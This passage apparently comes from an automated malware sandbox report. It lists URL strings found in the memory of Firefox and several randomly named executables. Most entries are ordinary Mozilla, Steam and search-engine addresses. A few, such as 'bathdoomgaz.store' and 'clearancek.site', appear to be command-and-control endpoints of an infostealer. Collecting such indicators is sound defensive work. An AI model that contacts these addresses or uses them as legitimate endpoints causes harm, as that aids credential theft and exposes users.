Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2249656043.0000016C7FE2C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EACA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2251829883.0000016C7F561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions0
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2250905001.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2173865991.0000016C7F58A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000015.00000003.2131771251.0000016C0C45C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2133545551.0000016C0C46F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2177922932.0000016C0C474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000015.00000003.2097762533.0000016C0C7D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2150730540.0000016C0C7CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2243880064.0000016C0EA9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2147444517.0000016C0CA66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2149323007.0000016C0CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2198338235.0000016C164A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2212566363.0000016C0C857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2096727964.0000016C0BCC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2124955286.0000016C1351A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2041169151.0000016C0B7EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2113165571.0000016C0EDE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2212877729.0000016C0C8C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2228003107.0000016C164A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2069864093.0000016C134C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2244680929.0000016C0EA6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2108269724.0000016C0B7EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2187044030.0000016C0B7F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2150730540.0000016C0C7D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2648912565.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/acco
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 48bf814d33.exe, 0000001E.00000003.2612938449.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subsD
Source: file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2503534834.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000002.2803946983.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.000000000074E000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803470311.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 00000015.00000003.2085311564.0000016C0DADD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000015.00000003.2071635151.0000016C0D879000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206170906.0000016C0CE9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2236931650.0000016C7FEEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2248707321.0000016C7FEEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2071635151.0000016C0D8AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2206826860.0000016C0CE32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2205425743.0000016C0D8A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: file.exe, 00000000.00000003.1742967425.0000000001159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1707367148.0000000001153000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477491074.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2591560266.0000000000C49000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2688927467.0000000000E87000.00000004.00000020.00020000.00000000.sdmp, 66c6d84346.exe, 00000024.00000003.2781144486.0000000000753000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2803118166.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 00000025.00000003.2801278327.0000000000D84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: firefox.exe, 00000018.00000003.2068703676.000002680803D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2066280480.000002680803D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1803184428.00000000059BD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2549507609.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2682859541.00000000053B0000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2725419563.000000000537B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2788196494.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://youtube.com/
Source: firefox.exe, 00000015.00000003.2015668492.0000016C08E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014816814.0000016C08E1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015993176.0000016C08E77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2015268817.0000016C08E3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2014566656.0000016C0B100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000015.00000003.2202309346.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2242930006.0000016C0EAC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000015.00000003.2257584927.0000016C13695000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2235596864.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2199237331.0000016C1368D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: 4V88JM9ZW2IZ0ZQGW7B.exe, 00000006.00000002.2027215531.0000000001398000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2102012607.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2098019208.0000016C0DD75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2098019208.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2143536648.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2139239853.0000016C0DDF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2102012607.0000016C0DD53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2119541492.0000016C0CB22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000003.2249656043.0000016C7FE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000015.00000003.2205722525.0000016C0CFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 00000015.00000003.2226611565.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2197587831.0000016C16FD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 00000015.00000003.2068503924.0000016C139BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000015.00000003.2084425762.0000016C138C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000015.00000003.2205325806.0000016C0DB0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.adjust.com/a8bxj8j?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht
Source: firefox.exe, 00000015.00000003.2071339226.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2085311564.0000016C0DAD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000015.00000003.2204634484.0000016C0DE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: 9b7d422018.exe, 0000001F.00000003.2622149110.00000000006D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a61
Source: 20b68761b3.exe, 00000021.00000003.2688522974.00000000053C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 48bf814d33.exe, 00000025.00000003.2803470311.0000000000D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 00000015.00000003.2196521682.0000016C7F5AD000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2723869326.000000000537A000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2714716292.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2717946351.0000000005374000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2742010534.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 00000015.00000003.2203071437.0000016C0EAA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000015.00000003.2201512476.0000016C1343E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 00000015.00000003.2212877729.0000016C0C8C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1743559424.00000000058E2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743645554.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1743702980.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2505731166.0000000005CA6000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2506165018.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2621951442.00000000053B9000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2626470195.00000000053B7000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2658235361.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2654866990.000000000538D000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2655476675.000000000538B000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2731188335.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2734913572.0000000005678000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 48bf814d33.exe, 00000025.00000003.2802236523.0000000000D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 66c6d84346.exe, 00000024.00000002.2803946983.00000000006CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/
Source: 9b7d422018.exe, 0000001B.00000003.2602087870.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.stea
